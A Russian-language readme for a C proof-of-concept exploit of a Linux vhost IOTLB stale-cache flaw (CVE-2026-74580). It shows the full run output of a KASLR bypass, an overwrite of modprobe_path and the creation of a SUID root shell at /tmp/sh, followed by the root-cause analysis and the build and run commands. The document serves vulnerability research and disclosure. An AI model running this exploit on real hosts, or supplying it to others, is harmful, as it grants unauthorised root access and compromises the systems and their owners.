
Доказательство концепции на C для CVE-2026-74580: эксплуатирует устаревший кэш метаданных IOTLB vhost для перезаписи modprobe_path и повышения привилегий до root на хостах Linux x86-64.
Оригинальный код и файл readme из: https://github.com/zhangutah/security-research
Ожидаемый вывод:
./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"
[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920
[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920
[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after: "/tmp/pwn"
[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...
sh-5.3# whoami
root
vq->meta_iotlb[] кэширует IOTLB-отображение, лежащее в основе каждой области метаданных vring
(desc / avail / used). VHOST_SET_VRING_ADDR и VHOST_SET_VRING_NUM
не сбрасывают этот кэш. При подключённом IOTLB устройства активный vq может транслировать
перенастроенный vring через отображение, которое его больше не покрывает.
vhost_vq_meta_fetch() не выполняет проверку диапазона, а результат передаётся в
__copy_to_user() / __copy_from_user().
Тот же устаревший кэш доступен из гостя, когда vhost работает в режиме device-IOTLB
(VIRTIO_F_ACCESS_PLATFORM / vIOMMU), а гость сбрасывает virtqueue
через VIRTIO_F_RING_RESET. Этот путь не является данным PoC.
de845981da67poc.c — это PoC для хоста x86-64, работающий с /dev/vhost-vsock. Он открывает root-оболочку с euid=0. Он создаёт /tmp/sh с suid root. Удалите файл после ручного тестирования!
cc -O2 -Wall -Wextra -o poc poc.c
./poc
Поиск символов использует по порядку: $SYSTEM_MAP, /boot/System.map-$(uname -r),
/usr/lib/modules/$(uname -r)/build/System.map. modprobe_path должен
присутствовать; asm_exc_divide_error при отсутствии откатывается к статическому адресу.
Процесс должен иметь возможность открыть /dev/vhost-vsock. В некоторых образах этот узел
поставляется с правами 0666; в других — 0660 root:kvm.
Запускайте только на одноразовой тестовой системе, которой вы владеете.